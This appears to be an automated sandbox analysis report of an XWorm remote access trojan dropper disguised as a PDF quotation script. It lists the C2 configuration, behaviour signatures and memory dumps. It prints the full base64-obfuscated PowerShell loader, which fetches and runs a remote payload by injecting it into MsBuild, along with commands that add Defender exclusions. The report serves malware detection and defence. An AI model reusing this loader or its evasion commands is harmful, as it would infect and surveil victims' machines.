Analysis
- max time kernel
149s - max time network
155s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
02/03/2026, 14:50
General
- Target Desc_Qtn_350_02_02_pdf.vbs
- Size 16KB
- Sample260302-r7wyzset2e
- SHA256 42a244583d3a49d5f9dc00ecd99e2d4d2951938faeda0b4baf879f19d82e5525
Malware Config
Extracted
-
xworm
-
5.0
-
94.154.32.18:8383
-
:8383
-
O4QGDSoGEFud3w5w
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Desc_Qtn_350_02_02_pdf.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dhfghfggfhdssigo ='WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBSAGUAbQBvAHQAZQBEAGEAdABhACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAdQByAGwAcwApAAoAIAAgACAAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQACgAgACAAIAAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdQByAGwAcwAgAC0AQwBvAHUAbgB0ACAAJAB1AHIAbABzAC4ATABlAG4AZwB0AGgACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdQAgAGkAbgAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJABjAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsAAoAk@QAKACQAcwBjAGgAZQBtAGUAMQAgAD0AIAAnAGgAdAB0AHAAJwAKACQAcwBjAGgAZQBtAGUAMgAgAD0AIAAnAHMAOgAvAC8AJwAKACQAYgBhAHMAZQBVAHIAbAAgAD0AIAAkAHMAYwBoAGUAbQBlADEAIAArACAAJABzAGMAaABlAG0AZQAyAAoACgAkAHQAYQByAGcAZQB0AFUAcgBsAHMAIAA9ACAAQAAoAAoAIAAgACAAIAAoACQAYgBhAHMAZQBVAHIAbAAgACsAIAAnAHAAYQBzAHQAZQBmAHkALgBhAHAAcAAvAHMATABDADcASgBwAGsAcAAvAHIAYQB3ACcAKQAsAAoAIAAgACAAIAAoACQAYgBhAHMAZQBVAHIAbAAgACsAIAAnAHkAYQBzAG8ALgBzAHUALwByAGEAdwAvAE4ATgBMAHcARQB3AEMAVQAnACkACgApAAoACgAkAHIAYQB3AEQAYQB0AGEAIAA9ACAARwBlAHQALQBSAGUAbQBvAHQAZQBEAGEAdABhACAAJAB0AGEAcgBnAGUAdABVAHIAbABzAAoAaQBmACAAKAAkAHIAYQB3AEQAYQB0AGEAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAKACAAIAAgACAAJAB0AGUAeAB0AEMAbwBuAHQAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAByAGEAdwBEAGEAdABhACkACgAgACAAIAAgACQAcwB0AGEAcgB0AFQAYQBnACAAPQAgACcAPAA8AEIAJwAgACsAIAAnAEEAUwBFADYANAAnACAAKwAgACcAXwBTAFQAQQBSAFQAPgA+ACcACgAgACAAIAAgACQAZQBuAGQAVABhAGcAIAAgACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcACgAKACAAIAAgACAAJABzAHQAYQByAHQAUABvAHMAIAA9ACAAJAB0AGUAeAB0AEMAbwBuAHQAZQBuAHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQAVABhAGcAKQAKACAAIAAgACAAJABlAG4AZABQAG8AcwAgACAAIAA9ACAAJAB0AGUAeAB0AEMAbwBuAHQAZQBuAHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABUAGEAZwApAAoACgAgACAAIAAgAGkAZgAgACgAJABzAHQAYQByAHQAUABvAHMAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABQAG8AcwAgAC0AZwB0ACAAJABzAHQAYQByAHQAUABvAHMAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQAUABvAHMAIAArAD0AIAAkAHMAdABhAHIAdABUAGEAZwAuAEwAZQBuAGcAdABoAAoAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAJABlAG4AZABQAG8AcwAgAC0AIAAkAHMAdABhAHIAdABQAG8AcwAKACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEMAaAB1AG4AawAgAD0AIAAkAHQAZQB4AHQAQwBvAG4AdABlAG4AdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQAUABvAHMALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQAKAAoAIAAgACAAIAAgACAAIAAgACQAYQBzAHMAZQBtAGIAbAB5AEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAGgAdQBuAGsAKQAKACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGEAcwBzAGUAbQBiAGwAeQBCAHkAdABlAHMAKQAKAAoAIAAgACAAIAAgACAAIAAgACQAdABhAHIAZwBlAHQAVAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBtAC4ARwBlAHQAVAB5AHAAZQAoACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACkACgAgACAAIAAgACAAIAAgACAAJABsAG4AawAgAD0AIAAgACcAdAB4AHQALgApADEAKAAwADIAJQBkAGEAbwBsAHAAdQAzADgAMwA4AC0AZQBsAGkAZgAtAHcAYQBSAC8AdQBlAC4AdABpAGIAYgB1AGMALgAzAHMALgBlAGUAcgBoAHQALwAvADoAcwAnAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAVgBhAGwAdQBlACAAPQAgACcATQBzAEIAdQBpAGwAZAAnAAoAIAAgACAAIAAgACAAIAAgACQAcwB0AHIAIAA9ACAAJwAwACcACgAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAJAB0AGEAcgBnAGUAdABUAHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHIAdQBuACcAIAArACAAJwBzAHMAJwApAC4ASQBuAHYAbwBrAGUAKAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbgB1AGwAbAAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJABsAG4AawAgACAALAAgACQAcwB0AHIALAAgACcAMQBiAGIAcgAnACwAIAAkAGkAbgBqAFYAYQBsAHUAZQAsACAAJwAwACcALAAgACcAeAA4ADYAJwApAAoAIAAgACAAIAAgACAAIAAgACkACgAgACAAIAAgAH0ACgB9AA==';$oWdfjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $dhfghfggfhdssigo.replace('k@','f') ));iex $oWdfjuxd2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'MsBuild.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_4s0xbpg3.eii.ps1
memory/5016-81-0x0000000001620000-0x000000000169B000-memory.dmp
memory/5016-78-0x00000000069D0000-0x0000000006F76000-memory.dmp
memory/5016-12-0x0000000000010000-0x0000000000020000-memory.dmp
memory/5016-79-0x0000000006530000-0x00000000065C2000-memory.dmp
memory/5016-80-0x00000000065D0000-0x00000000065DA000-memory.dmp
memory/5016-82-0x00000000055F0000-0x000000000573D000-memory.dmp
memory/5016-18-0x00000000057E0000-0x000000000587C000-memory.dmp
memory/5196-0-0x000001939D450000-0x000001939D45C000-memory.dmp
memory/5692-10-0x0000018EE52D0000-0x0000018EE52E0000-memory.dmp
memory/5692-17-0x0000018EE5310000-0x0000018EE537F000-memory.dmp
memory/5692-16-0x0000018ECB440000-0x0000018ECB452000-memory.dmp
memory/5692-15-0x0000018ECB3E0000-0x0000018ECB3EC000-memory.dmp
memory/5692-11-0x0000018EE55A0000-0x0000018EE55B0000-memory.dmp
memory/5692-9-0x0000018EE52E0000-0x0000018EE5302000-memory.dmp
memory/5692-2-0x0000018EE52D0000-0x0000018EE52E0000-memory.dmp
memory/5692-1-0x0000018EE52D0000-0x0000018EE52E0000-memory.dmp
memory/5812-43-0x0000000007390000-0x0000000007434000-memory.dmp
memory/5812-56-0x0000000004C60000-0x0000000004CEA000-memory.dmp
memory/5812-42-0x0000000006770000-0x000000000678E000-memory.dmp
memory/5812-35-0x000000006FB60000-0x000000006FBAC000-memory.dmp
memory/5812-33-0x00000000061B0000-0x00000000061FC000-memory.dmp
memory/5812-45-0x00000000074E0000-0x00000000074FA000-memory.dmp
memory/5812-44-0x0000000007B20000-0x000000000819A000-memory.dmp
memory/5812-46-0x0000000007550000-0x000000000755A000-memory.dmp
memory/5812-47-0x0000000007780000-0x0000000007816000-memory.dmp
memory/5812-48-0x00000000076F0000-0x0000000007701000-memory.dmp
memory/5812-49-0x0000000007720000-0x000000000772E000-memory.dmp
memory/5812-50-0x0000000007730000-0x0000000007745000-memory.dmp
memory/5812-51-0x0000000007840000-0x000000000785A000-memory.dmp
memory/5812-52-0x0000000007820000-0x0000000007828000-memory.dmp
memory/5812-32-0x0000000006170000-0x000000000618E000-memory.dmp
memory/5812-34-0x0000000007150000-0x0000000007184000-memory.dmp
memory/5812-57-0x0000000007440000-0x0000000007447000-memory.dmp
memory/5812-55-0x0000000004BE0000-0x0000000004BF9000-memory.dmp
memory/5812-19-0x0000000004C20000-0x0000000004C56000-memory.dmp
memory/5812-30-0x0000000005C90000-0x0000000005FE7000-memory.dmp
memory/5812-20-0x0000000005350000-0x000000000597A000-memory.dmp
memory/5812-21-0x00000000052E0000-0x0000000005302000-memory.dmp
memory/5812-22-0x0000000005BB0000-0x0000000005C16000-memory.dmp
memory/5812-23-0x0000000005C20000-0x0000000005C86000-memory.dmp
memory/6004-77-0x0000000007640000-0x0000000007647000-memory.dmp
memory/6004-76-0x0000000002B20000-0x0000000002BAA000-memory.dmp
memory/6004-75-0x0000000002AA0000-0x0000000002AB9000-memory.dmp
memory/6004-67-0x000000006FB60000-0x000000006FBAC000-memory.dmp
memory/6004-65-0x0000000005EB0000-0x0000000006207000-memory.dmp